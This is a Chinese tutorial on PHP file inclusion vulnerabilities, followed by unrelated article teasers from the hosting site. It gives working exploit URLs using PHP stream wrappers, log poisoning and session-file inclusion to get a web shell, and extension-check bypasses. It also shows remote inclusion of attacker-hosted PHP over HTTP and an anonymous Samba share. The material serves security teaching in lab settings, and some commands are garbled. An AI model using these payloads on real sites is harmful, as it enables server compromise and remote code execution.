Web渗透-文件包含漏洞

一、简介

在程序员开发过程中,通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需在此编写,这种调用文件的过程一般被称为文件包含。
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有
做合理的校检或者校检被绕过就造成了文件包含漏洞。

二、常见的文件包含函数

1 include() 
当使用该函数包含文件时,只有代码执行到jinclude()函数时才将文件包含进来,发生错误时之给出一
个警告,然后继续向下执行。2 include_once()
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次3 require()
require()与include()的区别在于re(执行如果发生错误,函数会输出错误信息,并终止脚本的运
行。4 require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。5 highlight_file() show_source()
函数对文件进行语法高亮显示,通常能看到源代码6 readfile(),file_get_contents()
函数读取一个文件,并写入到输出缓冲7 fopen()
打开一个文件或者url

三、文件包含漏洞分类

本地文件包含漏洞

  • 简介:当被包含的文件在服务器本地时,就形成了本地文件包含
  • 示例:
<?php$file = $_GET['file'];
include $file;?>
  • 利用方式:在寻找到服务器文件包含漏洞时,还需要探测出服务器的文件路径,可以通过文件上传漏洞将木马文件上传到服务器中,再利用文件包含漏洞执行木马文件。

远程文件包含漏洞

  • 简介:本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini中的配置选项allow_url_fopen和allow_url_include为on的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
  • 漏洞利用所需条件
# 需要的php.ini中开启以下配置
allow_url_fopen:on
allow_url_include:on

四、漏洞利用方式-PHP伪协议

PHP伪协议

  • 简介:PHP伪协议事实上就是PHP支持的协议与封装协议(PHP内置的协议)
 file://  访问本地文件系统http://  访问 HTTP(s) 网址ftp://   访问 FTP(s) URLsphp://   访问各个输入/输出流zlib://  压缩流data://  数据glob://  查找匹配的文件路径模式phar://  PHP 归档ssh2://  Secure Shell 2rar://  RARogg://  音频流expect://   处理交互式的流ftp:// 访问ftp(s)URLs

file://包含

  • 作用:用户访问本地文件系统,用于读取本地文件并且不会受到allow_url_fopen和allow_url_include的影响。
  • 条件:
# 这两项配置为on或off都可以(无条件)
allow_url_fopen:on/off
allow_url_include:on/off
  • 示例:
// 准备一个文件包含的php文件
// file.php
<?php$file = $_GET["file"]include($file)
?>
// 上传文件
<?php
echo("test");
?>

image.png

php://包含

  • 用法

image.png

  • php://filter

image.png
image.png

  • 条件
allow_url_fopen:on/off
allow_url_include:on

image.png

  • php://filter示例
// 读文件 
// read:通过base64编码读取文件
// resource:文件路径
// 读到文件后需要通过base64解码
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=test.php// 解码网站:https://base64.us/
// PD9waHANCmVjaG8oInRlc3QiKTsNCj8+
// 结果:
<?php
echo("test");
?>

image.png
image.png

  • php://input示例

image.png

// 访问路径
http://10.196.93.67/file.php?file=php://input
// 通过post方法将php代码添加到请求中。

image.png

zip://包含或zlib://包含

  • 作用:可以访问压缩文件中的子文件,重点是不需要制定后缀名,可任意修改后缀:jpg/png/gif等
  • 条件:
# 这两项配置为on或off都可以(无条件)
allow_url_fopen:on/off
allow_url_include:on/off
  • 示例
    • 准备:一个php文件写好代码后,就后缀修改为jpg,并压缩

image.png

// url编码:%23=#
// 地址:http://localhost/file.php?file=zip://D:/phpStudy/PHPTutorial/WWW/test.zip%23test.jpg

image.png

data://包含

  • 作用:自PHP大于等于5.2.0后,可以使用data://数据流封装器,以传递相应格式的数据。执行php代码
  • 条件:
# 两项都为on
allow_url_fopen:on
allow_url_include:on
  • 用法:
/*
base64 后面使用base加密方式 ,不需要加?>
*/data://text/plain,
data://text/plain;base64,
  • 示例:
# url编码: %27='   %20=空格 %3C=< %3E=>
http://localhost/file.php?file=data://text/plain,%3C?php%20echo(%27data%27);?%3E
// 源:
http://localhost/file.php?file=data://text/plain,<?php echo('data');?>

image.png

phar://包含

  • 作用:和zip://功能类似,都是压缩包,可能存在版本问题
  • 条件:
# 这两项配置为on或off都可以(无条件)
allow_url_fopen:on/off
allow_url_include:on/off

四、漏洞利用方式-通过日志getShell

训练靶场:https://download.vulnhub.com/dc/DC-5.zip

简介

日志文件是用于记录系统操作事件的记录文件或文件集合,可分为事件日志和消息日志。具有处理历史数据,诊断问题的追踪以及理解系统的活动等重要作用。

服务日志文件路径

服务地址
Apache(window)Apache/logs
Apache(kali)/var/log/apache2/error.log

利用方式

/*
当访问php网站时,通过输入恶意语句访问失败,网站将会把恶意语句记录到error日志文件中。
因为日志文件是存在于服务中的,所以拥有运行php的环境
*/

示例

// 访问日志路径
http://localhost/file.php?file=../Apache/logs/error.log

image.png

  • 使用抓包工具构造错误的恶意代码
    • 注意点:不建议直接在浏览器的URL栏上构造代码,因为会存在浏览器的URL栏会解析URL编码,导致构造失败。

image.png
蚁剑

url:http://10.196.93.67/file.php?file=../Apache/logs/error.log
密码:cmd

image.png
image.png

四、漏洞利用方式-通过session包含

简介

session就是保存在服务器的文本文件。默认情况下,php.ini中设置的session保存方式是files(session.save_handler-files),即使用读写文件的方式保存session数据,而 session on文件保存的目录由session.save_path指定,文件名以 sess 为前缀,后跟 session id,如:
sess c72665af28a8b14c0fe11afe3b59b51b.文件中的数据即是序列化之后的session数据了

ssession路径

# phpsttdy:
# D:\phpStudy 为phpStudy安装目录
D:\phpStudy\PHPTutorial\tmp\tmp

利用条件

1 需要找到session文件路径(可以通过phpinfo函数、默认位置尝试)
2 其中部分内容可以控制(如将代码编写在注册或登录可能存session的地方)

利用方式

// 和通过日志文件获取shell类似,在session文件中编写恶意代码,在通过文件包含,执行session文件。

示例

  • 准备模拟环境
# 创建session.php文件<?php
session_start();
$sess=$_GET['sess'];
$_SESSION['cmd'] = $sess
?>
  • 访问文件
url: http://localhost/session.php?sess=%3C?php%20phpinfo()?%3E
# 源:
http://localhost/session.php?sess=<?php phpinfo();?>

image.png

  • 包含文件
url:http://localhost/file.php?file=../tmp/tmp/sess_c44a555a5d79d3ab49b1a9b6b358d8bc

image.png

五、文件包含限制绕过方式

本地限制文件类型绕过

  • 限制代码
# 只能包含html文件
<?php
$file = $_GET['file'];
include($file.".html") # 文件名以.html结尾
?>

绕过方式一
方式一:在上传是添加需要的文件后缀
例:本来文件为a.txt,上传时修改为a.txt.html
填写的url为:httpc

绕过方式二
方式二:%00截断
利用特点:window特性
存在条件:magic_quotes_gpc=off ; PHP版本<5.3.4

绕过方式三
方式三:路径长度截断(../)
window路径长度最长为:256
例:localhost/file.php?file=a.txt/./././././././././
linux路径长度最长为:4096

远程限制文件类型绕过

绕过方式一
// 在文件后面添加问号或 %23
// localhost/file.php?file=http://www.varin.cn/a.txt?.html
// 将.html 当做了参数
// 例如
localhost/file.php?file=http://www.varin.cn/a.txt?
localhost/file.php?file=http://www.varin.cn/a.txt%23

共享文件夹绕过

  • 简介:

image.png

  • 利用方式:
# 在公网的服务器上搭建一个匿名访问的共享文件夹访问:
# 例:
http://localhost/file.php?file=\\www.varin.cn\a.txt
  • 扩展:
# samba 在kali上安装
apt install samba
# 查看是否安装成功
samba -v
  • 示例
#  kali
cd /var/www/html
mkdir pub
chmod 555 pub
chown nobody:nogroup pub/ # 设置用户组
# 清空samba配置文件
echo >/etc/samba/smb.conf 
vim /etc/samba/smb.confi
#添加以下配置
[global]
workgroup= WORKGROUP
serverstring = Samba Server %v
netbiosname = indishell-lab
security= user
mapto guest = bad user
nameresolve order = bcast host
dnsproxy = no
bindinterfaces only = yes
[ica]
path= /var/www/html/pub
writable= no
guestok = yes
guestonly = yes
readonly = yes
directorymode = 0555
ervice smbd restart # 重启samba服务
# 在共享文件夹中准备恶意代码
echo '<?php phpinfo() ?>' > a.php

image.png
image.png
\10.196.93.101\ica

  • 访问
    • url:http://localhost/file.php?file=\10.196.93.101\ica\a.php

image.png

五、文件包含特征

黑盒测试

方法一:寻找网址是否存在以下参数:
filename=xx.php
include=xx.php
方法二:判断系统

白盒测试

代码审计,看源码,找漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/858096.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是深度神经网络?与深度学习、机器学习、人工智能的关系是什么?

什么是深度神经网络&#xff1f;与深度学习、机器学习、人工智能的关系是什么&#xff1f; &#x1f916;什么是深度神经网络&#xff1f;与深度学习、机器学习、人工智能的关系是什么&#xff1f;摘要引言正文内容1. 什么是深度神经网络&#xff1f;&#x1f9e0;1.1 深度神经…

Cadence 16.6与17.4个人学习版推荐

一. 简介与下载 Cadence个人学习版是基于Cadence官方发行的安装包做了适当精简和优化的二次打包版本&#xff0c;包括了Cpature原理图设计、PSpice 电路仿真以及Allegro PCB设计等以电子产品设计为主的主要功能&#xff0c;能满足绝大部分硬件工程师的使用需求。 学习版预先已…

nacos 简述 安装运行

一、下载 官网:Redirecting to: https://nacos.io/ 文档:Nacos 快速开始 github地址:GitHub - alibaba/nacos: an easy-to-use dynamic service discovery, configuration and service management platform for building cloud native applications. 下载nacos server(tips:也…

【Gradio】Custom Components | Gradio组件关键概念 后端

Gradio组件关键概念 在本节中&#xff0c;我们将讨论Gradio中组件的一些重要概念。在开发自己的组件时&#xff0c;理解这些概念非常重要。否则&#xff0c;您的组件可能会与其他Gradio组件的行为大不相同&#xff01; ✍️ 提示&#xff1a;如果你熟悉Gradio库的内部机制&…

达梦8 通过日志解释数据守护系统的关停顺序

关闭守护系统时&#xff0c;必须按照一定的顺序来关闭守护进程和数据库实例。特别是自动切换模式&#xff0c;如果退出守护进程或主备库的顺序不正确&#xff0c;可能会引起主备切换&#xff0c;甚至造成守护进程组分裂。 官方推荐通过在监视器执行stop group命令关闭守护系统…

ALOS 12.5m DEM下载

1、下载地址 阿拉斯加遥感数据下载地址&#xff1a;https://search.asf.alaska.edu/ &#xff1b; 数据详情描述见地址&#xff1a;https://asf.alaska.edu/datasets/daac/alos-palsar-radiometric-terrain-correction/ &#xff1b; 2、下载步骤 2.1、勾绘研究区 在网站中…

以太坊==windows电脑本地搭建一个虚拟的以太坊环境

提供不同的选择&#xff0c;适合不同需求和技术水平的开发者&#xff1a; Geth&#xff1a;适合需要与主网兼容或构建私有网络的开发者。Ganache&#xff1a;适合快速开发和测试智能合约的开发者&#xff0c;特别是初学者。Docker&#xff1a;适合需要快速、可重复搭建环境的开…

笔记-python reduce 函数

reduce() 函数在 python 2 是内置函数&#xff0c; 从python 3 开始移到了 functools 模块。 官方文档是这样介绍的 reduce(...) reduce(function, sequence[, initial]) -> valueApply a function of two arguments cumulatively to the items of a sequence, from left …

简易智能家居系统

文章目录 摘要一、系统设计要求及总体设计方案1.1 设计要求1.2 总体设计方案 二、终端结点的设计及实现2.1单片机最小系统2.2 LED灯的控制与工作状态的显示2.2.1 硬件设计2.2.2 软件设计 2.3 温度的测量与显示2.4 火灾的监测与报警2.5 串口的显示与控制 三、网络传输与控制3.1 …

拦截器Interceptor

概念&#xff1a;是一种动态拦截方法调用的机制&#xff0c;类似于过滤器。Spring框架中提供的&#xff0c;用来动态拦截方法的执行。 作用&#xff1a;拦截请求&#xff0c;在指定的方法调用前后&#xff0c;根据业务需要执行预先设定的代码。

已解决javax.management.BadAttributeValueExpException异常的正确解决方法,亲测有效!!!

已解决javax.management.BadAttributeValueExpException异常的正确解决方法&#xff0c;亲测有效&#xff01;&#xff01;&#xff01; 目录 问题分析 出现问题的场景 报错原因 解决思路 解决方法 分析错误日志 检查属性值合法性 确认属性类型匹配 优化代码逻辑 增…

后端数据null前端统一显示成空

handleNullValues方法在封装请求接口返回数据时统一处理 // null 转 function handleNullValues(data) {// 使用递归处理多层嵌套的对象或数组function processItem(item) {if (Array.isArray(item)) {return item.map(processItem);} else if (typeof item object &&…

学会python——对目录的操作(python实例十)

目录 1、认识Python 2、环境与工具 2.1 python环境 2.2 Visual Studio Code编译 3、遍历当前目录 3.1 代码构思 3.2 代码示例 3.3 运行结果 4、删除目录中的文件 4.1 代码构思 4.2 代码示例 4.3 运行结果 5、总计 1、认识Python Python 是一个高层次的结合了解释性…

C Tips: 举例说明在 Visual C++ 中忽略 C4996 编译警告的几种方法

C4996 编译警告非常常见&#xff0c;经常发生在程序调用了类似于strcpy这样的不够安全的函数时。例如以下代码在 Visual C 的默认工程设置中会引起 C4996 编译警告&#xff1a; void foo() {char filename[MAX_PATH];strcpy(filename, "D:\\Pub\\Test\\1.dat"); }编…

AI视频教程下载-与ChatGPT结合的UX用户体验/UI用户界面设计策略

Revolutionize UX_UI_ AI-Design Strategies with ChatGPT 提升你的设计工具包&#xff1a;使用ChatGPT、Figma和Miro的AI驱动UX/UI策略 50个创新UX提示 了解人工智能的基础知识。介绍ChatGPT及其底层技术。区分不同AI模型及其在设计中的应用。将AI工具融入设计工作流程的策略…

高纯PFA容量瓶PFA试剂瓶在半导体材料的应用

在半导体生产过程中&#xff0c;为避免金属污染对硅器件性能造成不利影响&#xff0c;碳化硅产业链不同阶段产品&#xff08;如衬底、外延、芯片、器件&#xff09;表面的痕量杂质元素浓度表征至关重要。 在实验人员使用质谱法高精度检测第三代半导体碳化硅材料的痕量杂质浓度…

高级IO操作

高级I/O操作与非阻塞I/O 在操作系统中&#xff0c;I/O&#xff08;输入/输出&#xff09;操作是所有实现的基础。本文将探讨阻塞I/O与非阻塞I/O的区别&#xff0c;以及如何使用有限状态机来实现非阻塞I/O&#xff0c;并介绍数据中继的概念。 阻塞I/O与非阻塞I/O 阻塞I/O 阻…

数据结构历年考研真题对应知识点(栈和队列的应用)

目录 3.3栈和队列的应用 3.3.2栈在表达式求值中的应用 【中缀表达式转后缀表达式的过程(2012、2014)】 【栈的深度分析(2009、2012)】 【用栈实现表达式求值的分析(2018)】 3.3.3栈在递归中的应用 【栈在函数调用中的作用和工作原理(2015、2017)】 3.3.5队列在计算机系…

docker搭建mongo副本集

1、mongo集群分类 MongoDB集群有4种类型&#xff0c;分别是主从复制、副本集、分片集群和混合集群。 MongoDB的主从复制是指在一个MongoDB集群中&#xff0c;一个节点&#xff08;主节点&#xff09;将数据写入并同步到其他节点&#xff08;从节点&#xff09;。主从复制提供…

L56---226.翻转二叉树(广搜)---Java版

1.题目描述 2.思路和知识点 &#xff08;1&#xff09;按照每层来划分&#xff0c; 第一层是2^0&#xff08; 1&#xff09; 第二层是2^1&#xff08;2&#xff0c;3&#xff09; 第三层是2^2 &#xff08;4&#xff0c;5&#xff0c;6&#xff0c;7&#xff09; 第n层是2^(n-…